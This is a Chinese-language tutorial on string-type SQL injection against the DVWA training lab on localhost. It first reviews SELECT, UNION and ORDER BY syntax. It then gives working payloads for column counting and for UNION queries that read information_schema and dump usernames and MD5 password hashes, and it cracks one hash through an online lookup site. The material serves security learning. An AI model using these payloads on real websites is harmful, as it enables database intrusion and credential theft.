***學習筆記--基礎篇--sql注入(字符型)

環境:dvwa1.7
數據庫:mysql
前置知識:sql語句(
Click me)
      
在進行sql注入前,咱們先熟悉熟悉select語句。
1、打開咱們的sql終端

 

2、進入以後能夠看到有
mysql>
咱們輸入sql語句,便可返回咱們想要的結果,注意分號喲!
咱們使用的dvwa,在咱們前幾章設置的時候,會在數據庫中生成一個dvwa的database;這裏咱們使用它來進行咱們的select 語句:
(1)使用dvwa數據庫
use dvwa;
(2)在users表裏查詢用戶名爲‘admin’的全部信息
select * from users where user='admin';
上面有三個要點,
    [1] '*':通配符表示匹配全部內容,也就是來者不拒
    [2] 'where':關鍵字做爲條件限定。
    [3] 在數據庫中字符串時通常由單引號包住的
在這裏,select是從數據庫檢索數據的
(3)咱們來看一下select語句另一面,其實它至關於咱們編程語言的輸出語句。不信,咱們來看看哈!
select 'hello world!';
(4)假若咱們有多個數據要輸出怎麼辦,這個時候可使用「,」來分隔每一個內容。
如:
select user,user_id from users where user='admin';

 

擴展當咱們想要像上面只是輸出多項數據,而不是檢索數據的時候
select 'hello','world';
select 1,2,3;
(5)union 聯合
就是將union前面那堆數據,和後面那堆數據放在一塊兒,以便能在一個表顯示。注意什麼叫放在一塊兒呢?
請看例子:
select 1,2,3 union select 4,5,6;
解析,咱們知道select 1,2,3是輸出三個數字,分別爲1,2,3。後面的select也是同樣輸出3個數字。
要是後面的輸出的數據數目不一致,那麼則會致使下列的錯誤
The used SELECT statements have a different number of columns

 

而這個則是咱們以後進行sql注入的一個點
(6)咱們接着繼續來學習一個內容order by,這個是讓咱們檢索出來的數據進行升序或者降序排列的。
select user,user_id from users order by user;
在這裏咱們,介紹一個概念就是「字段」。字段也就是一個表裏面的數據列,每個字段表示一列。如咱們這裏,咱們select語句檢索user,user_id兩個數據列。當咱們使用order by user的時候,會根據user數據列的的每個數據的來進行排序,默認是升序asc。
咱們看一下select user,user_id from users order by user_id;
能夠看到user_id的順序是遞增的。要是遞減的話,可使用desc。

 

這裏還有一個小tips就是:
[  
html

  咱們除了使用字段名來做爲order by的條件外,還可使用數字。
  1表示的第一個字段
  2表示的第二個字段
  如此類推就能夠了,可是當不存在那個字段的時候,就會產生這樣的錯誤。
  unknown column name xx
python

]
好了,到這裏。咱們此次須要的sql知識夠了。下面咱們開始咱們的注入之旅



3、「兔崽子mysql,看見你的尾巴了,還跑!」
[設置:]
   咱們把安全等級調整爲low,先來讓本身得到點信心,省得一來就被打臉。


一、測試和分析頁面的功能
咱們能夠看到這裏有一個輸入框,根據上面的提示是,輸入用戶的id。而後咱們輸入以後,發現它返回了關於這個user的信息!這裏咱們輸入「1」



這裏能夠看到它返回三行數據,一行是咱們輸入的用戶ID。一行是用戶名,另一行是用戶別名。
 

同時,我看一下瀏覽器的地址欄那裏,能夠發現url成這樣了
http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

 

咱們能夠看到這裏有個id=1的東東,是否是就是咱們輸入的user id呢?
這裏咱們輸入「2」,發現url變成了
http://localhost/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#
好了,到這裏,咱們能夠得出這裏穿進去的id的值使咱們可控的。咱們輸入的什麼,則會經過id傳進去!


二、對id這個參數進行測試,查看一下它是否存在sql注入漏洞!
這裏咱們在輸入框裏面輸入「1'」,注意1後面有一個單引號「'」。
能夠發現,這裏報錯了。說咱們的sql語句出現語法錯誤。



這裏咱們能夠進行一個猜想,首先它這個id是被兩個'包住的。查詢語句可能像這樣
select firstname,surname from users where id = '1';
當咱們在1以後加了一個引號,則會致使單引號數目不平衡,那時查詢語句以下。
select firstname,surname from users where id = '1'';
能夠看到最後一個引號沒被閉合,那咱們該怎麼辦呢?
這個時候有好幾種辦法,
(1)咱們在原來的基礎上再繼續輸入多一個引號,也就是「1''」。
這時候咱們看一下查詢語句
select firstname,surname from users where id = '1''';
這時候得講一個mysql的語法,

mysql

  • 在where語句中,當出現多個字符串的時候,「=」將會選擇優先級最高的一個,優先級是從左到右,依次下降的!也就是離「=」最近的一個。sql

  • 咱們來看幾個例子。數據庫

  • 第一個是和咱們上面相似的sql查詢語句編程

  • select * from users where user_id = '1''';瀏覽器

  • 第二個是來闡明咱們這個優先級的,安全

  • select * from users where user_id = '1''2';編程語言

  • 能夠看到,出來的結果仍是和user_id=1同樣。ide

  • 咱們再看一個長長的,

  • select * from users where user_id = '1''2''abc''efg';

  • 事實勝於雄辯,能夠看到結果仍是和上面的同樣。


 

(2)第二種方法是使用「#」符號來註釋後面的單引號
到時查詢語句將會變成這樣,
select firstname,surname from users where id = '1'#';
(3)第三種方法是使用「-- 」,這裏注意了「--」後面有一個空格。在url當中,咱們須要使用「+」來代替「--」後面的空格。
到時查詢語句將會變成這樣,
select firstname,surname from users where id = '1'-- ';

好了,咱們回到咱們的測試頁面。發現出來的結果和輸入1同樣。
到這裏咱們能夠知道了
[1]漏洞的參數是「id」
[2]漏洞的類型是字符型



三、好了,咱們在確認漏洞以後,須要進行構造payload了。
什麼是payload?
就是一段惡意代碼,以便咱們可以得到數據裏面的數據。
(1)分析字段數
基本的話,他也是有兩種方法的
[1]分析字段數的緣由是咱們以後須要用union select語句得到咱們須要的敏感數據。
那麼,這裏,我留下一個問題:爲何我這裏可以猜測到用union的辦法來得到數據呢?
(提示:這個頁面的功能的是什麼?)
根據上面咱們的order by知識知道,要是後面跟着的數字超出了字段數的時候,則會報錯!經過這個咱們能夠肯定字段數。
咱們構造的payload以下:
1' order by 1#
1' order by 2#
1' order by 3#
當輸入到3的時候,發現它報錯了。也就是字段數爲2



[2]第二種方法就是直接用union select來猜想字段數,由於當字段數不對應的時候,它也是會發生報錯的!
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
能夠發現,當union select 1,2的時候沒有報錯,也就是字段數爲2。同時,咱們也應該注意到,好像返回的內容多了三條數據,這是啥呢?

 

這就是咱們咱們union select出來的數據了。咱們獲取數據的信息,就經過將1,2換成數據的信息,這樣經過查看頁面,咱們即可以得到了!
Tips:當字段數較少的時候無所謂,字段數一多起來,你就傻了。下一節課的hack with python。咱們將會編寫腳本去作這些無謂的工做

(2)字段數爲2,也就是select出來的數據列有兩列。也就是咱們能夠經過union select出兩個數據。好了咱們來得到關於咱們數據庫的信息吧!
一、獲取當前數據庫名字,當前用戶名
1' union select database(),user()#
這裏解釋一下,database()將會返回當前網站所使用的數據庫名字,user()將會返回進行當前查詢的用戶名。
好的,這裏咱們看到
當前數據庫爲:dvwa
當前用戶名:root@localhost

 

相似的函數:version() 獲取當前數據庫版本
Tips:有時候,後面的select語句會限制輸出的行數,經過limit 1,因此咱們通常來講,都會讓原數據庫查詢無效,也就是輸入無效的id。
以下:
-1' union select database(),user()#
這樣就只會返回咱們的數據了
二、好了咱們的目的的是獲取當前的用戶表,因此繼續構造payload。
根據上面的信息,咱們知道當前數據庫名爲dvwa。但是還不夠呀!表名是什麼呀?
好了,是否是打算放棄了。。。。-_-|||
Tips:吃根辣條冷靜一下,咱們想一想哈,
當你上小學的時候,有不懂的字腫麼辦?  

答:有新華字典呀,你妹!
那麼mysql有沒有相似新華的字典的東東呢?

答案是有的
它的這本新華字典叫作information_schema,是一個包含了mysql數據庫全部信息的新華字典,有啥關於數據庫的信息不知道問它沒問題!它本質上仍是一個database,存着其餘各個數據的信息。
在其中,有一個表長成這樣tables。有一個表長這樣columns。
是否是有點感受了?
是的,tables這個表存的是關於數據庫中全部表的信息,他有個字段叫table_name,還有個字段叫作table_schema。其中table_name是表名,table_schema表示的表所在的數據庫。
對於columns,它有column_name,table_schema,table_name


這裏回想一下,咱們擁有的消息是數據庫名。也就是說咱們能夠構造這樣的payload
-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
你是否是想問,information_schema.tables是啥呢?
information_schema不就使咱們的新華字典咯!這裏咱們使用一種語法,
「數據名.表名」
tables就至關於咱們新華字典的目錄,table_name是tables裏面的字段。語句的意思就是,這裏是一本新華字典幫我把數據庫名爲"dvwa"這個偏旁部首的字(表名)找出來。




能夠看到,(д)b,好多數據呀!咱們對那個感興趣呢??
固然,是users表啦!
那以後呢?不是說還有一個columns表麼?

  • 那咱們須要什麼?須要table_name以及table_schema

  • 那咱們查什麼呢?column_name

此次咱們的構造的payload以下
-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' andtable_name= 'users'#
這裏說一下,假若不指定數據庫名爲'dvwa',如果其餘數據裏面也存在users表的話,則會有不少混淆的數據。



又來了,(д)b,好多數據呀!咱們對那個感興趣呢??
固然是user,password啦!兩個字段剛恰好
好的,咱們再次修改payload
-1' union select user,password from users#

 

Binggo!咱們注出全部用戶名和密碼值,等等!這密碼好像有點奇葩,數一數,32位!
這裏的密碼是通過md5加密的,好不容易注入出管理帳號和密碼,可是密碼加密了
沒辦法了嗎?不必定!
Tips:小子,誰叫你趕上了我呢!看我乾坤大挪移
這個時候,咱們須要找一些md5破解的網站,來進行破解!
好了,我比較喜歡的是這個
Click
好,咱們這裏選擇的是pablo的這個進行破解,md5密文爲:0d107d09f5bbe40cade3de5c71e9e9b7


能夠看到密碼已經被破解出來了,密碼是「letmein」,咱們驗證一下!
看,這個時候咱們已經成功登錄了!



本文到此,結束!下一節,咱們會將安全等級調整爲中,而後再進行注入!同時還會分享黑盒測試以及白盒測試的兩個知識點!


下一篇:***學習筆記--基礎篇--sql注入(數字型)

相關文章
相關標籤/搜索